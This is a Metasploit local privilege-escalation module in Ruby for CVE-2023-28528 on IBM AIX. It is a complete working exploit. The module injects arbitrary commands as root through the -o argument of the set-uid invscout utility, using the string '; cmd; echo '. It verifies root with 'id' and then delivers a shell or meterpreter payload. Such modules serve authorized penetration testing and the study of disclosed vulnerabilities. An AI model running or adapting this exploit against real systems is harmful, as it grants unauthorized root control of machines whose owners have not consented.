##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'invscout RPM Privilege Escalation',
        'Description' => %q{
          This module exploits a command injection vulnerability in IBM AIX
          invscout set-uid root utility present in AIX 7.2 and earlier.

          The undocumented -rpm argument can be used to install an RPM file;
          and the undocumented -o argument passes arguments to the rpm utility
          without validation, leading to command injection with effective-uid
          root privileges.

          This module has been tested successfully on AIX 7.2.
        },
        'Author' => [
          'Tim Brown', # Discovery and PoC
          'bcoles' # Metasploit
        ],
        'References' => [
          ['CVE', '2023-28528'],
          ['URL', 'https://talosintelligence.com/vulnerability_reports/TALOS-2023-1691'],
        ],
        'Platform' => %w[unix aix],
        'Arch' => ARCH_CMD,
        'Payload' => {
          'BadChars' => "\x00\x0a\x0d\x22",
          'Compat' => {
            'PayloadType' => 'cmd',
            'RequiredCmd' => 'generic telnet openssl'
          }
        },
        'DefaultOptions' => {
          'PrependSetresuid' => true,
          'PrependSetresgid' => true,
          'PrependFork' => true
        },
        'SessionTypes' => %w[shell meterpreter],
        'Targets' => [['Automatic', {}]],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2023-04-24',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('INVSCOUT_PATH', [true, 'Path to invscout executable', '/usr/sbin/invscout'])
    ])
  end

  def invscout_path
    datastore['INVSCOUT_PATH']
  end

  def check
    return CheckCode::Safe("#{invscout_path} is not executable") unless executable?(invscout_path)

    res = execute_command('id')
    id = res.to_s.scan(/^(.*?uid=.*?)$/).flatten.first.to_s

    return CheckCode::Safe("#{invscout_path} is not vulnerable.") unless id.include?('euid=0')

    CheckCode::Vulnerable("Output: #{id}")
  end

  def execute_command(cmd, _opts = {})
    rpm_path = "#{Rex::Text.rand_text_alphanumeric(8..12)}.rpm"
    rpm_args = "; #{cmd}; echo "
    res = cmd_exec("#{invscout_path} -RPM #{rpm_path} -o \"#{rpm_args}\"")
    vprint_line(res) unless res.blank?
    res
  end

  def exploit
    execute_command(payload.encoded)
  end
end
